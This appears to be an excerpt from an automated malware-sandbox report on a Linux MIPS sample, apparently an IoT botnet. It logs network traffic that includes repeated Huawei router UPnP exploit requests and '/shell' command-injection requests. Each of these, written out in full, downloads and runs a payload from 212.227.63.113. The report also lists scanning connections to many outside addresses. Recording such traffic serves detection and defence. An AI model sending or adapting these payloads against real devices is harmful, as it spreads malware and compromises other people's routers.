Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.spc.elf (PID: 6229)

Socket: 127.0.0.1:46157

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 111.171.211.121
Source: unknown	TCP traffic detected without corresponding DNS query: 66.178.90.7
Source: unknown	TCP traffic detected without corresponding DNS query: 64.105.230.170
Source: unknown	TCP traffic detected without corresponding DNS query: 87.108.35.242
Source: unknown	TCP traffic detected without corresponding DNS query: 108.185.146.220
Source: unknown	TCP traffic detected without corresponding DNS query: 24.43.4.118
Source: unknown	TCP traffic detected without corresponding DNS query: 83.220.255.252
Source: unknown	TCP traffic detected without corresponding DNS query: 75.228.162.90
Source: unknown	TCP traffic detected without corresponding DNS query: 176.95.184.114
Source: unknown	TCP traffic detected without corresponding DNS query: 163.46.45.222
Source: unknown	TCP traffic detected without corresponding DNS query: 192.80.81.191
Source: unknown	TCP traffic detected without corresponding DNS query: 144.68.60.194
Source: unknown	TCP traffic detected without corresponding DNS query: 125.250.197.121
Source: unknown	TCP traffic detected without corresponding DNS query: 38.135.222.122
Source: unknown	TCP traffic detected without corresponding DNS query: 177.36.87.195
Source: unknown	TCP traffic detected without corresponding DNS query: 159.104.11.120
Source: unknown	TCP traffic detected without corresponding DNS query: 178.164.96.155
Source: unknown	TCP traffic detected without corresponding DNS query: 116.177.40.227
Source: unknown	TCP traffic detected without corresponding DNS query: 106.28.102.166
Source: unknown	TCP traffic detected without corresponding DNS query: 115.20.14.7
Source: unknown	TCP traffic detected without corresponding DNS query: 17.137.93.191
Source: unknown	TCP traffic detected without corresponding DNS query: 171.149.171.185
Source: unknown	TCP traffic detected without corresponding DNS query: 149.180.223.140
Source: unknown	TCP traffic detected without corresponding DNS query: 155.230.88.18
Source: unknown	TCP traffic detected without corresponding DNS query: 205.29.32.83
Source: unknown	TCP traffic detected without corresponding DNS query: 13.165.4.44
Source: unknown	TCP traffic detected without corresponding DNS query: 111.59.28.84
Source: unknown	TCP traffic detected without corresponding DNS query: 70.218.238.232
Source: unknown	TCP traffic detected without corresponding DNS query: 67.17.182.33
Source: unknown	TCP traffic detected without corresponding DNS query: 42.30.119.150
Source: unknown	TCP traffic detected without corresponding DNS query: 118.240.163.51
Source: unknown	TCP traffic detected without corresponding DNS query: 141.138.207.154
Source: unknown	TCP traffic detected without corresponding DNS query: 106.220.242.7
Source: unknown	TCP traffic detected without corresponding DNS query: 90.107.242.142
Source: unknown	TCP traffic detected without corresponding DNS query: 52.209.64.182
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.57.167
Source: unknown	TCP traffic detected without corresponding DNS query: 66.78.172.93
Source: unknown	TCP traffic detected without corresponding DNS query: 70.143.50.3
Source: unknown	TCP traffic detected without corresponding DNS query: 73.51.62.27
Source: unknown	TCP traffic detected without corresponding DNS query: 106.25.137.6
Source: unknown	TCP traffic detected without corresponding DNS query: 147.254.133.248
Source: unknown	TCP traffic detected without corresponding DNS query: 104.60.59.154
Source: unknown	TCP traffic detected without corresponding DNS query: 96.187.23.8
Source: unknown	TCP traffic detected without corresponding DNS query: 200.7.229.156
Source: unknown	TCP traffic detected without corresponding DNS query: 187.242.93.96
Source: unknown	TCP traffic detected without corresponding DNS query: 52.54.31.42
Source: unknown	TCP traffic detected without corresponding DNS query: 89.1.149.227
Source: unknown	TCP traffic detected without corresponding DNS query: 221.171.1.243
Source: unknown	TCP traffic detected without corresponding DNS query: 162.55.19.102
Source: unknown	TCP traffic detected without corresponding DNS query: 157.151.214.214

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
